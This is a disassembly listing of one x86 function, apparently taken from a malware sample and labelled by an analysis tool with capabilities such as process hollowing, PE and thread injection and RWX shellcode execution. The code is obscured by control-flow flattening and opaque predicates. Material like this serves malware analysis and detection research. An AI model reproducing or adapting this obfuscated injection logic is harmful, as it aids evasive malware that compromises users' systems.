Function at 0x1000c4f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x17c
mov eax, dword [0x10086880]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x184], 0x38d98acf
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
sub eax, 0x802177d5
je 0x1001235e
jmp 0x1000c52c
mov eax, dword [ebp - 0x188]
sub eax, 0x80efd082
je 0x1001077f
jmp 0x1000c542
mov eax, dword [ebp - 0x188]
sub eax, 0x8316ab56
je 0x1000ff6b
jmp 0x1000c558
mov eax, dword [ebp - 0x188]
sub eax, 0x833d98ec
je 0x10011a7a
jmp 0x1000c56e
mov eax, dword [ebp - 0x188]
sub eax, 0x83ac52d2
je 0x1001132f
jmp 0x1000c584
mov eax, dword [ebp - 0x188]
sub eax, 0x8435f333
je 0x10012792
jmp 0x1000c59a
mov eax, dword [ebp - 0x188]
sub eax, 0x84c1144e
je 0x10013b4f
jmp 0x1000c5b0
mov eax, dword [ebp - 0x188]
sub eax, 0x874c5123
je 0x10012e21
jmp 0x1000c5c6
mov eax, dword [ebp - 0x188]
sub eax, 0x8790d264
je 0x100119f6
jmp 0x1000c5dc
mov eax, dword [ebp - 0x188]
sub eax, 0x88008ff7
je 0x10010611
jmp 0x1000c5f2
mov eax, dword [ebp - 0x188]
sub eax, 0x8891e53c
je 0x10011e01
jmp 0x1000c608
mov eax, dword [ebp - 0x188]
sub eax, 0x88d64b19
je 0x10010bad
jmp 0x1000c61e
mov eax, dword [ebp - 0x188]
sub eax, 0x89a44aec
je 0x10013a3e
jmp 0x1000c634
mov eax, dword [ebp - 0x188]
sub eax, 0x8a5e7d19
je 0x100139bd
jmp 0x1000c64a
mov eax, dword [ebp - 0x188]
sub eax, 0x8a9e7c3d
je 0x10013ba3
jmp 0x1000c660
mov eax, dword [ebp - 0x188]
sub eax, 0x8ba5d902
je 0x10013cd6
jmp 0x1000c676
mov eax, dword [ebp - 0x188]
sub eax, 0x8c2e3ed5
je 0x10012526
jmp 0x1000c68c
mov eax, dword [ebp - 0x188]
sub eax, 0x8c2e72ff
je 0x1001011a
jmp 0x1000c6a2
mov eax, dword [ebp - 0x188]
sub eax, 0x8c61ccd4
je 0x10010ce3
jmp 0x1000c6b8
mov eax, dword [ebp - 0x188]
sub eax, 0x8dfde88b
je 0x10011979
jmp 0x1000c6ce
mov eax, dword [ebp - 0x188]
sub eax, 0x8eb43111
je 0x10013bb2
jmp 0x1000c6e4
mov eax, dword [ebp - 0x188]
sub eax, 0x8edccb7e
je 0x10012a7a
jmp 0x1000c6fa
mov eax, dword [ebp - 0x188]
sub eax, 0x8f72d433
je 0x10013d4f
jmp 0x1000c710
mov eax, dword [ebp - 0x188]
sub eax, 0x8fdcbd77
je 0x1001385e
jmp 0x1000c726
mov eax, dword [ebp - 0x188]
sub eax, 0x8fdff8cf
je 0x1000ea8d
jmp 0x1000c73c
mov eax, dword [ebp - 0x188]
sub eax, 0x91008d8e
je 0x1000ed22
jmp 0x1000c752
mov eax, dword [ebp - 0x188]
sub eax, 0x9139d9b4
je 0x10010380
jmp 0x1000c768
mov eax, dword [ebp - 0x188]
sub eax, 0x91a902b3
je 0x10011359
jmp 0x1000c77e
mov eax, dword [ebp - 0x188]
sub eax, 0x92fbe531
je 0x1000edaa
jmp 0x1000c794
mov eax, dword [ebp - 0x188]
sub eax, 0x93416aab
je 0x10013379
jmp 0x1000c7aa
mov eax, dword [ebp - 0x188]
sub eax, 0x93dc5d39
je 0x10012c1a
jmp 0x1000c7c0
mov eax, dword [ebp - 0x188]
sub eax, 0x946ecc32
je 0x10014185
jmp 0x1000c7d6
mov eax, dword [ebp - 0x188]
sub eax, 0x95c5d8aa
je 0x1000fa00
jmp 0x1000c7ec
mov eax, dword [ebp - 0x188]
sub eax, 0x95c82346
je 0x1000f4b4
jmp 0x1000c802
mov eax, dword [ebp - 0x188]
sub eax, 0x95e112a9
je 0x1000f23e
jmp 0x1000c818
mov eax, dword [ebp - 0x188]
sub eax, 0x9615a1a1
je 0x1000f10e
jmp 0x1000c82e
mov eax, dword [ebp - 0x188]
sub eax, 0x9780ef86
je 0x10013c38
jmp 0x1000c844
mov eax, dword [ebp - 0x188]
sub eax, 0x97c0e4a1
je 0x10013930
jmp 0x1000c85a
mov eax, dword [ebp - 0x188]
sub eax, 0x98e22a12
je 0x1000ebf1
jmp 0x1000c870
mov eax, dword [ebp - 0x188]
sub eax, 0x98f59466
je 0x100132f2
jmp 0x1000c886
mov eax, dword [ebp - 0x188]
sub eax, 0x99236cfd
je 0x1000fbee
jmp 0x1000c89c
mov eax, dword [ebp - 0x188]
sub eax, 0x99cfbbfb
je 0x10013dfb
jmp 0x1000c8b2
mov eax, dword [ebp - 0x188]
sub eax, 0x99df0005
je 0x10013a04
jmp 0x1000c8c8
mov eax, dword [ebp - 0x188]
sub eax, 0x9a041e6e
je 0x10012dcd
jmp 0x1000c8de
mov eax, dword [ebp - 0x188]
sub eax, 0x9a7bc119
je 0x10011b11
jmp 0x1000c8f4
mov eax, dword [ebp - 0x188]
sub eax, 0x9afa66a3
je 0x1001142f
jmp 0x1000c90a
mov eax, dword [ebp - 0x188]
sub eax, 0x9b4bb98b
je 0x10013ed9
jmp 0x1000c920
mov eax, dword [ebp - 0x188]
sub eax, 0x9b8f1fbf
je 0x10011f73
jmp 0x1000c936
mov eax, dword [ebp - 0x188]
sub eax, 0x9c3cc10c
je 0x10013d5e
jmp 0x1000c94c
mov eax, dword [ebp - 0x188]
sub eax, 0x9dd80855
je 0x10011bba
jmp 0x1000c962
mov eax, dword [ebp - 0x188]
sub eax, 0x9e65c17f
je 0x10013e1c
jmp 0x1000c978
mov eax, dword [ebp - 0x188]
sub eax, 0x9f04efb3
je 0x100130b0
jmp 0x1000c98e
mov eax, dword [ebp - 0x188]
sub eax, 0x9f5ba916
je 0x1000f24d
jmp 0x1000c9a4
mov eax, dword [ebp - 0x188]
sub eax, 0x9f75fa5a
je 0x10013518
jmp 0x1000c9ba
mov eax, dword [ebp - 0x188]
sub eax, 0xa01c63e3
je 0x1000fd40
jmp 0x1000c9d0
mov eax, dword [ebp - 0x188]
sub eax, 0xa0e8de08
je 0x10013e6a
jmp 0x1000c9e6
mov eax, dword [ebp - 0x188]
sub eax, 0xa126a541
je 0x1000fa0f
jmp 0x1000c9fc
mov eax, dword [ebp - 0x188]
sub eax, 0xa29069a6
je 0x1001169f
jmp 0x1000ca12
mov eax, dword [ebp - 0x188]
sub eax, 0xa2996aba
je 0x100108f8
jmp 0x1000ca28
mov eax, dword [ebp - 0x188]
sub eax, 0xa2fb3069
je 0x10013a13
jmp 0x1000ca3e
mov eax, dword [ebp - 0x188]
sub eax, 0xa371d5d9
je 0x10010f3e
jmp 0x1000ca54
mov eax, dword [ebp - 0x188]
sub eax, 0xa3c8f882
je 0x1000f126
jmp 0x1000ca6a
mov eax, dword [ebp - 0x188]
sub eax, 0xa3f0ffc6
je 0x1000f7f7
jmp 0x1000ca80
mov eax, dword [ebp - 0x188]
sub eax, 0xa5ff9d12
je 0x10013dec
jmp 0x1000ca96
mov eax, dword [ebp - 0x188]
sub eax, 0xa72ae6a3
je 0x100127e3
mov dword [ebp - 0x17c], 0xefb8eda
mov eax, dword [0x10087d34]
mov ecx, dword [0x10087d30]
mov edx, eax
add edx, 0xf3eeb966
sub edx, 1
sub edx, 0xf3eeb966
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5db75663
mov ecx, 0xc1428434
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dl, byte [ebp - 0xdb]
mov eax, 0xc5a0e62f
mov ecx, 0x5aa4e96c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov byte [ebp - 0x17d], 0
mov dword [ebp - 0x184], 0x7df1b0a8
jmp 0x100142ac
mov byte [ebp - 0x17d], 0
mov eax, dword [0x10087d34]
mov ecx, dword [0x10087d30]
mov edx, eax
sub edx, 0xb26b41ab
sub edx, 1
add edx, 0xb26b41ab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x759867fb
mov ecx, 0x4397fb32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov eax, dword [ebp - 0x178]
mov byte [eax], 0
mov dword [ebp - 0x184], 0xa3c8f882
jmp 0x100142ac
mov eax, dword [ebp - 0x178]
mov dl, byte [eax]
mov eax, 0x6d01a391
mov ecx, 0x246e3f90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dword [ebp - 0x184], 0x9f5ba916
jmp 0x100142ac
mov dword [ebp - 0x184], 0x5c8d7158
jmp 0x100142ac
mov dword [ebp - 0x184], 0x5b006f8b
jmp 0x100142ac
mov eax, dword [ebp - 0x170]
mov dword [eax], 0xefb8ecc
mov dword [ebp - 0x184], 0xa8ef1ddf
jmp 0x100142ac
mov dword [ebp - 0x184], 0xa126a541
jmp 0x100142ac
mov edx, dword [ebp - 0xd8]
mov eax, 0xb0e2f4f7
mov ecx, 0x26b490ac
cmp edx, 0xefb8ee1
cmovle eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov eax, dword [0x10087d34]
mov ecx, dword [0x10087d30]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4867d54
mov ecx, 0x30416bfc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov ecx, dword [0x10087d34]
mov eax, dword [0x10087d30]
mov edx, ecx
add edx, 0x552d7d65
sub edx, 1
sub edx, 0x552d7d65
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8eb43111
mov ecx, 0xbdc6d60f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov eax, dword [0x10087d34]
mov ecx, dword [0x10087d30]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9d2cc5b
mov ecx, 0x69012b04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dword [ebp - 0x184], 0xecbf8b18
jmp 0x100142ac
mov dword [ebp - 0x184], 0x1db99084
jmp 0x100142ac
mov dl, byte [ebp - 0xc1]
mov eax, 0xb1913421
mov ecx, 0x67041853
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dword [ebp - 0x184], 0x3514a15d
jmp 0x100142ac
mov ecx, dword [0x10087d34]
mov eax, dword [0x10087d30]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe5a39526
mov ecx, 0xd0d42ca0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov ecx, dword [0x10087d34]
mov eax, dword [0x10087d30]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd60d2463
mov ecx, 0x57f87258
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov edx, dword [ebp - 0xb8]
mov eax, 0xac6cd999
mov ecx, 0x6a81fdb8
cmp edx, 0xefb8f18
cmovle eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov ecx, dword [0x10087d34]
mov eax, dword [0x10087d30]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8f72d433
mov ecx, 0x67ea7c42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov eax, dword [ebp - 0x158]
mov dword [eax], 1
mov dword [ebp - 0x184], 0x50826921
jmp 0x100142ac
mov ecx, dword [0x10087d34]
mov eax, dword [0x10087d30]
mov edx, ecx
add edx, 0xd2e3ff8
sub edx, 1
sub edx, 0xd2e3ff8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xafcb0f04
mov ecx, 0x4eea04f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov eax, dword [ebp - 0x154]
mov byte [eax], 1
mov eax, dword [ebp - 0x154]
mov al, byte [eax]
mov byte [ebp - 0xa9], al
mov dword [ebp - 0x184], 0xf0703fb1
jmp 0x100142ac
mov ecx, dword [0x10087d34]
mov eax, dword [0x10087d30]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa5ff9d12
mov ecx, 0x251d2979
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dword [ebp - 0x184], 0x58d5b1e5
jmp 0x100142ac
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov ecx, dword [0x10087d34]
mov eax, dword [0x10087d30]
mov edx, ecx
sub edx, 0xac84a648
sub edx, 1
add edx, 0xac84a648
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe0c41379
mov ecx, 0x833d98ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dword [ebp - 0x184], 0xcc5c6db
jmp 0x100142ac
mov eax, dword [0x10087d34]
mov ecx, dword [0x10087d30]
mov edx, eax
add edx, 0x494ba102
sub edx, 1
sub edx, 0x494ba102
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb11fdc38
mov ecx, 0x3507971
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dword [ebp - 0x184], 0x58d5b1e5
jmp 0x100142ac
mov ecx, dword [0x10087d34]
mov eax, dword [0x10087d30]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x41bb4543
mov ecx, 0x7167d6f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dl, byte [ebp - 0x91]
mov eax, 0x8a5e7d19
mov ecx, 0x51f308a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dword [ebp - 0x184], 0x53fbc0ef
jmp 0x100142ac
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0x74]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x6d], al
mov ecx, dword [0x10087d34]
mov eax, dword [0x10087d30]
mov edx, ecx
add edx, 0x6fee0345
sub edx, 1
sub edx, 0x6fee0345
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x36ad0e51
mov ecx, 0xc5da0307
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dl, byte [ebp - 0x65]
mov eax, 0xe92fc7e9
mov ecx, 0x49f7bc9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x52], al
mov dword [ebp - 0x184], 0xaab527cc
jmp 0x100142ac
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov eax, dword [eax + 4]
xor ecx, ecx
sub ecx, 8
add eax, ecx
mov dword [ebp - 0x50], eax
mov eax, dword [0x10087d34]
mov ecx, dword [0x10087d30]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0c86468
mov ecx, 0xd40bfc16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dword [ebp - 0x184], 0xd8a7a8b0
jmp 0x100142ac
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x42], ax
mov dword [ebp - 0x184], 0x7f37e4f2
jmp 0x100142ac
mov dword [ebp - 0x184], 0xe382a7a0
jmp 0x100142ac
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x184], 0xea7faf5b
jmp 0x100142ac
mov eax, dword [0x10087d34]
mov ecx, dword [0x10087d30]
mov edx, eax
sub edx, 0x80d33a1
sub edx, 1
add edx, 0x80d33a1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8c3574c
mov ecx, 0x552c8891
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dword [ebp - 0x184], 0xdf4ad210
jmp 0x100142ac
mov ecx, dword [0x10087d34]
mov eax, dword [0x10087d30]
mov edx, ecx
add edx, 0xd8c19446
sub edx, 1
sub edx, 0xd8c19446
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3850eb64
mov ecx, 0x145d420b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100142ac
mov dword [ebp - 0x184], 0xa9b5189d
jmp 0x100142ac
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x184], 0x1e9d5613
jmp 0x100142ac
mov dword [ebp - 0x184], 0xa2fb3069
jmp 0x100142ac
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001ed80
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x184], 0x20bcb95d
jmp 0x100142ac
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x184], 0xe28abd17
jmp 0x100142ac
mov dword [ebp - 0x184], 0x4472078d
jmp 0x100142ac
mov eax, dword [ebp - 0x16c]
mov byte [eax], 1
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x184], 0xbdc6d60f
jmp 0x100142ac
mov eax, dword [ebp - 0x164]
mov dword [eax], 0xefb8ed1
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x184], 0xc784828e
jmp 0x100142ac
mov eax, dword [ebp - 0x15c]
mov dword [eax], 0xefb8f0d
mov dword [ebp - 0x184], 0x232660ed
jmp 0x100142ac
mov dword [ebp - 0x184], 0xa371d5d9
jmp 0x100142ac
mov eax, dword [ebp - 0x158]
mov dword [eax], 0xefb8f1c
mov dword [ebp - 0x184], 0xcf489ed0
jmp 0x100142ac
mov dword [ebp - 0x184], 0x251d2979
jmp 0x100142ac
mov eax, dword [ebp - 0x150]
mov dword [eax], 0xefb8ef6
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x184], 0xbdf39bc0
jmp 0x100142ac
mov eax, dword [ebp - 0x150]
mov dword [eax], 0xefb8f06
mov dword [ebp - 0x184], 0xfb57665f
jmp 0x100142ac
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x184], 0xdac9962d
jmp 0x100142ac
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x184], 0xe038d074
jmp 0x100142ac
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0xc0]
mov ecx, dword [ebp - 0x28]
add ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0xef004561
jmp 0x100142ac
jmp 0x1000c510